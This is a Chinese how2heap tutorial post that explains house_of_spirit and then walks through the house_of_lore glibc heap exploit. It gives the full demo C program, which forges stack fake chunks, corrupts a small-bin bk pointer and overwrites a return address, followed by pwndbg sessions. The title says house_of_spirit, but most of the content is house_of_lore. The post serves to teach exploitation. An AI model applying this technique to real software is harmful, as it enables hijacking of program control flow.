从零开始学howtoheap:fastbins的house_of_spirit攻击3

news2024/11/24 22:31:44

how2heap是由shellphish团队制作的堆利用教程,介绍了多种堆利用技术,后续系列实验我们就通过这个教程来学习。环境可参见从零开始配置pwn环境:从零开始配置pwn环境:从零开始配置pwn环境:优化pwn虚拟机配置支持libc等指令-CSDN博客

1.fastbins的house_of_spirit攻击

house_of_spirit是一种fastbins攻击方法,通过构造fake chunk,然后将其free掉,就可以在下一次malloc时返回fake chunk的地址,即任意我们可控的区域。House_of_spirit是一种通过堆的fast bin机制来辅助栈溢出的方法,一般的栈溢出漏洞的利用都希望能够覆盖函数的返回地址以控制EIP来劫持控制流,但如果栈溢出的长度无法覆盖返回地址,同时却可以覆盖栈上的一个即将被free的堆指针,此时可以将这个指针改写为栈上的地址并在相应位置构造一个fast bin块的元数据,接着在free操作时,这个栈上的堆块被放到fast bin中,下一次malloc对应的大小时,由于fast bin的先进后出机制,这个栈上的堆块被返回给用户,再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk,而是控制传给 free 函数的指针,将其指向一个fake chunk。所以 fake chunk的伪造是关键。

2.house_of_lore演示程序

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){

  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
  fprintf(stderr, "定义了两个数组");
  fprintf(stderr, "stack_buffer_1 在 %p\n", (void*)stack_buffer_1);
  fprintf(stderr, "stack_buffer_2 在 %p\n", (void*)stack_buffer_2);

  intptr_t *victim = malloc(100);
  fprintf(stderr, "申请第一块属于 fastbin 的 chunk 在 %p\n", victim);
  intptr_t *victim_chunk = victim-2;//chunk 开始的位置

  fprintf(stderr, "在栈上伪造一块 fake chunk\n");
  fprintf(stderr, "设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上\n");
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;

  fprintf(stderr, "设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针");
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;

  void *p5 = malloc(1000);
  fprintf(stderr, "另外再分配一块,避免与 top chunk 合并 %p\n", p5);

  fprintf(stderr, "Free victim chunk %p, 他会被插入到 fastbin 中\n", victim);
  free((void*)victim);

  fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");
  fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
  void *p2 = malloc(1200);

  fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
  fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
  fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

  fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
  victim[1] = (intptr_t)stack_buffer_1;

  fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
  fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
  void *p3 = malloc(100);

  fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
  char *p4 = malloc(100);
  fprintf(stderr, "p4 = malloc(100)\n");

  fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);

  fprintf(stderr, "\np4 在栈上 %p\n", p4);
  intptr_t sc = (intptr_t)jackpot;
  memcpy((p4+40), &sc, 8);
}

3.调试house_of_lore

3.1 获得可执行程序 

gcc -g house_of_lore.c -o house_of_lore

3.2 第一次调试程序

root@pwn_test1604:/ctf/work/how2heap# gdb ./house_of_lore
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 171 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./house_of_lore...done.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_lore 
定义了两个数组stack_buffer_1 在 0x7fffffffe590
stack_buffer_2 在 0x7fffffffe570
申请第一块属于 fastbin 的 chunk 在 0x603010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块,避免与 top chunk 合并 0x603080
Free victim chunk 0x603010, 他会被插入到 fastbin 中

此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)

这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 0x603010
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7ffff7dd1bd8
victim->bk: 0x7ffff7dd1bd8

现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)

在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8

p4 在栈上 0x7fffffffe5a0
Nice jump d00d
[Inferior 1 (process 99) exited normally]
pwndbg> 

3.3 第二次调试程序

3.3.1 ​设置断点第39行并走起

​ 在前面的技术中,我们已经知道怎样去伪造一个fake chunk,接下来,我们要尝试伪造一条small bins链。

​ 首先创建两个chunk,第一个是我们的victim chunk,请确保它是一个small chunk,第二个随意,只是为了确保在free时victim chunk不会被合并进top chunk 里。然后,在栈上伪造两个fake chunk,让fake chunk 1的fd指向victim chunk,bk指向fake chunk 2,fake chunk 2的fd指向fake chunk 1,这样一个small bin链就差不多了。

​ 如下图所示。

pwndbg> b 39
Breakpoint 1 at 0x40094e: file house_of_lore.c, line 39.
pwndbg> r
Starting program: /ctf/work/how2heap/house_of_lore 
定义了两个数组stack_buffer_1 在 0x7fffffffe590
stack_buffer_2 在 0x7fffffffe570
申请第一块属于 fastbin 的 chunk 在 0x603010
在栈上伪造一块 fake chunk
设置 fd 指针指向 victim chunk,来绕过 small bin 的检查,这样的话就能把堆栈地址放在到 small bin 的列表上
设置 stack_buffer_1 的 bk 指针指向 stack_buffer_2,设置 stack_buffer_2 的 fd 指针指向 stack_buffer_1 来绕过最后一个 malloc 中 small bin corrupted, 返回指向栈上假块的指针另外再分配一块,避免与 top chunk 合并 0x603080
Free victim chunk 0x603010, 他会被插入到 fastbin 中

此时 victim chunk 的 fd、bk 为零
victim->fd: (nil)
victim->bk: (nil)


Breakpoint 1, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:40
40        fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x13
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbe90 ◂— 0x3e2d6d6974636976 ('victim->')
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x13
 R10  0x5
 R11  0x246
 R12  0x400600 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
 RIP  0x40094e (main+556) ◂— mov    rax, qword ptr [rip + 0x20170b]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x40094e <main+556>    mov    rax, qword ptr [rip + 0x20170b] <0x602060>
   0x400955 <main+563>    mov    rdx, qword ptr [rbp - 0x80]
   0x400959 <main+567>    mov    esi, 0x400e78
   0x40095e <main+572>    mov    rdi, rax
   0x400961 <main+575>    mov    eax, 0
   0x400966 <main+580>    call   fprintf@plt <0x4005b0>
 
   0x40096b <main+585>    mov    edi, 0x4b0
   0x400970 <main+590>    call   malloc@plt <0x4005c0>
 
   0x400975 <main+595>    mov    qword ptr [rbp - 0x68], rax
   0x400979 <main+599>    mov    rax, qword ptr [rip + 0x2016e0] <0x602060>
   0x400980 <main+606>    mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c
   35 
   36   fprintf(stderr, "\n此时 victim chunk 的 fd、bk 为零\n");
   37   fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
   38   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
   39 
 ► 40   fprintf(stderr, "这时候去申请一个 chunk,触发 fastbin 的合并使得 victim 进去 unsortedbin 中处理,最终被整理到 small bin 中 %p\n", victim);
   41   void *p2 = malloc(1200);
   42 
   43   fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
   44   fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
   45   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
... ↓
04:0020│      0x7fffffffe540 —▸ 0x603010 ◂— 0x0
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x7fffffffe6b8 —▸ 0x7fffffffe8fc ◂— 'LESSOPEN=| /usr/bin/lesspipe %s'
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           40094e main+556
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:39
pwndbg> parseheap

addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Freed                0x0              None
0x603070            0x0                 0x3f0                Used                None              None
pwndbg> 
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00

pwndbg> parseheap

addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Freed                0x0              None
0x603070            0x0                 0x3f0                Used                None              None
pwndbg> 
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0xda812b0bc8e82d00
 

victim chunk:

addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Freed                0x0              None

fake chunk2:

0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
fd->fake chunk1

0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d


fake chunk1:

0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570

fd->victim chunk

0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570

bk->fake chunk2

0x7fffffffe5a0: 0x0000000000603000      0x00007fffffffe570

3.3.2 设置断点第46行并走起

Glibc在malloc的时候会检查small bin链表中第二块chunk的bk指针是否指向第一块,来发现对small bins的破坏。为了绕过这个检查,所以才需要同时伪造bin中的前两个chunk。

​ 接下来释放掉victim chunk,它首先会被放到fast bin中,这时候我们再去malloc一个large chunk,那么就会触发fast bin的合并,然后victim chunk就放到了unsorted bin中,最终被整理到small bin中。

pwndbg> b 46
Breakpoint 2 at 0x4009e1: file house_of_lore.c, line 46.
pwndbg> c
Continuing.
现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址
victim->fd: 0x7ffff7dd1bd8
victim->bk: 0x7ffff7dd1bd8


Breakpoint 2, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:47
47        fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x1c
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0
 RDI  0x2
 RSI  0x7fffffffbe90 ◂— 0x3e2d6d6974636976 ('victim->')
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x1c
 R10  0x0
 R11  0x246
 R12  0x400600 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
 RIP  0x4009e1 (main+703) ◂— mov    rax, qword ptr [rip + 0x201678]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x4009e1 <main+703>    mov    rax, qword ptr [rip + 0x201678] <0x602060>
   0x4009e8 <main+710>    mov    rcx, rax
   0x4009eb <main+713>    mov    edx, 0x5f
   0x4009f0 <main+718>    mov    esi, 1
   0x4009f5 <main+723>    mov    edi, 0x400f50
   0x4009fa <main+728>    call   fwrite@plt <0x4005e0>
 
   0x4009ff <main+733>    mov    rax, qword ptr [rbp - 0x80]
   0x400a03 <main+737>    lea    rdx, [rax + 8]
   0x400a07 <main+741>    lea    rax, [rbp - 0x30]
   0x400a0b <main+745>    mov    qword ptr [rdx], rax
   0x400a0e <main+748>    mov    rax, qword ptr [rip + 0x20164b] <0x602060>
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c
   42 
   43   fprintf(stderr, "现在 victim chunk 的 fd 和 bk 更新为 unsorted bin 的地址\n");
   44   fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]);
   45   fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);
   46 
 ► 47   fprintf(stderr, "现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上\n");
   48   victim[1] = (intptr_t)stack_buffer_1;
   49 
   50   fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
   51   fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
   52   void *p3 = malloc(100);
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
... ↓
04:0020│      0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           4009e1 main+703
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:46
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
largebins
empty
pwndbg> 

3.3.3 设置断点第53行并走起 

​ 接下来的第一个相应大小的malloc,会返回victim chunk的地址

pwndbg> c
Continuing.
现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk

Breakpoint 4, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:54
54        fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) ◂— ...
 RBX  0x0
 RCX  0x7ffff7dd1b20 (main_arena) ◂— 0x100000000
 RDX  0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) ◂— ...
 RDI  0x5
 RSI  0x7ffff7dd1b48 (main_arena+40) ◂— 0x0
 R8   0x4e
 R9   0x7ffff7dd2540 (_IO_2_1_stderr_) ◂— 0xfbad2887
 R10  0x1
 R11  0x246
 R12  0x400600 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
 RIP  0x400a58 (main+822) ◂— mov    rax, qword ptr [rip + 0x201601]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400a58 <main+822>    mov    rax, qword ptr [rip + 0x201601] <0x602060>
   0x400a5f <main+829>    mov    rcx, rax
   0x400a62 <main+832>    mov    edx, 0x39
   0x400a67 <main+837>    mov    esi, 1
   0x400a6c <main+842>    mov    edi, 0x401038
   0x400a71 <main+847>    call   fwrite@plt <0x4005e0>
 
   0x400a76 <main+852>    mov    edi, 0x64
   0x400a7b <main+857>    call   malloc@plt <0x4005c0>
 
   0x400a80 <main+862>    mov    qword ptr [rbp - 0x58], rax
   0x400a84 <main+866>    mov    rax, qword ptr [rip + 0x2015d5] <0x602060>
   0x400a8b <main+873>    mov    rcx, rax
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c
   49 
   50   fprintf(stderr, "然后申请跟第一个 chunk 大小一样的 chunk\n");
   51   fprintf(stderr, "他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk\n");
   52   void *p3 = malloc(100);
   53 
 ► 54   fprintf(stderr, "最后 malloc 一次会返回 victim->bk 指向的那里\n");
   55   char *p4 = malloc(100);
   56   fprintf(stderr, "p4 = malloc(100)\n");
   57 
   58   fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);
   59 
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
... ↓
04:0020│      0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400a58 main+822
   f 1     7ffff7a2d830 __libc_start_main+240
Breakpoint /ctf/work/how2heap/house_of_lore.c:53
pwndbg> p p3
$2 = (void *) 0x603010
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0x67fbdd82beb94300
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Used                None              None
0x603070            0x70                0x3f0                Used                None              None
0x603460            0x0                 0x4c0                Used                None              None
pwndbg> x/10gx 0x6030100
0x6030100:      Cannot access memory at address 0x6030100
pwndbg> x/10gx 0x603010
0x603010:       0x00007ffff7dd1bd8      0x00007fffffffe590
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe590 —▸ 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    
largebins
empty
pwndbg> 

 pwndbg> p p3
$2 = (void *) 0x603010
pwndbg> x/10gx &stack_buffer_2
0x7fffffffe570: 0x0000000000000000      0x0000000000000000
0x7fffffffe580: 0x00007fffffffe590      0x0000000000400b6d
0x7fffffffe590: 0x0000000000000000      0x0000000000000000
0x7fffffffe5a0: 0x00007ffff7dd1bd8      0x00007fffffffe570
0x7fffffffe5b0: 0x00007fffffffe6a0      0x67fbdd82beb94300
pwndbg> parseheap
addr                prev                size                 status              fd                bk                
0x603000            0x0                 0x70                 Used                None              None
0x603070            0x70                0x3f0                Used                None              None
0x603460            0x0                 0x4c0                Used                None              None

pwndbg> x/10gx 0x603010
0x603010:       0x00007ffff7dd1bd8      0x00007fffffffe590
0x603020:       0x0000000000000000      0x0000000000000000
0x603030:       0x0000000000000000      0x0000000000000000
0x603040:       0x0000000000000000      0x0000000000000000
0x603050:       0x0000000000000000      0x0000000000000000
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x70 [corrupted]
FD: 0x603000 —▸ 0x7ffff7dd1bd8 (main_arena+184) ◂— 0x603000
BK: 0x7fffffffe590 —▸ 0x7fffffffe570 —▸ 0x400b6d (__libc_csu_init+77) ◂— nop    
largebins
empty
pwndbg> 

3.3.4 设置断点第63行并走起 

pwndbg> b 63
Breakpoint 3 at 0x400aff: file house_of_lore.c, line 63.
pwndbg> c
Continuing.
现在模拟一个可以覆盖 victim 的 bk 指针的漏洞,让他的 bk 指针指向栈上
然后申请跟第一个 chunk 大小一样的 chunk
他应该会返回 victim chunk 并且它的 bk 为修改掉的 victim 的 bk
最后 malloc 一次会返回 victim->bk 指向的那里
p4 = malloc(100)

在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 0x7ffff7dd1bd8

p4 在栈上 0x7fffffffe5a0

Breakpoint 3, main (argc=1, argv=0x7fffffffe6a8) at house_of_lore.c:63
63      }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x7fffffffe5c8 —▸ 0x4006f6 (jackpot) ◂— push   rbp
 RDI  0x2
 RSI  0x7fffffffbe90 ◂— 0xe6a89ce52034700a
 R8   0x7ffff7feb700 ◂— 0x7ffff7feb700
 R9   0x1d
 R10  0x0
 R11  0x246
 R12  0x400600 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffe6a0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffe5c0 —▸ 0x400b20 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
 RIP  0x400aff (main+989) ◂— mov    rcx, qword ptr [rbp - 8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────
 ► 0x400aff <main+989>             mov    rcx, qword ptr [rbp - 8] <0x7ffff7b042c0>
   0x400b03 <main+993>             xor    rcx, qword ptr fs:[0x28]
   0x400b0c <main+1002>            je     main+1009 <0x400b13>
    ↓
   0x400b13 <main+1009>            leave  
   0x400b14 <main+1010>            ret    
 
   0x400b15                        nop    word ptr cs:[rax + rax]
   0x400b1f                        nop    
   0x400b20 <__libc_csu_init>      push   r15
   0x400b22 <__libc_csu_init+2>    push   r14
   0x400b24 <__libc_csu_init+4>    mov    r15d, edi
   0x400b27 <__libc_csu_init+7>    push   r13
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/house_of_lore.c
   58   fprintf(stderr, "\n在最后一个 malloc 之后,stack_buffer_2 的 fd 指针已更改 %p\n",stack_buffer_2[2]);
   59 
   60   fprintf(stderr, "\np4 在栈上 %p\n", p4);
   61   intptr_t sc = (intptr_t)jackpot;
   62   memcpy((p4+40), &sc, 8);
 ► 63 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffe520 —▸ 0x7fffffffe6a8 —▸ 0x7fffffffe8db ◂— '/ctf/work/how2heap/house_of_lore'
01:0008│      0x7fffffffe528 ◂— 0x100000000
02:0010│      0x7fffffffe530 ◂— 0x0
03:0018│      0x7fffffffe538 —▸ 0x4006f6 (jackpot) ◂— push   rbp
04:0020│      0x7fffffffe540 —▸ 0x603010 —▸ 0x7ffff7dd1bd8 (main_arena+184) —▸ 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) ◂— ...
05:0028│      0x7fffffffe548 —▸ 0x603000 ◂— 0x0
06:0030│      0x7fffffffe550 —▸ 0x603080 ◂— 0x0
07:0038│      0x7fffffffe558 —▸ 0x603470 ◂— 0x0
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────
 ► f 0           400aff main+989
   f 1           4006f6 jackpot
   f 2     7fffffffe6a8
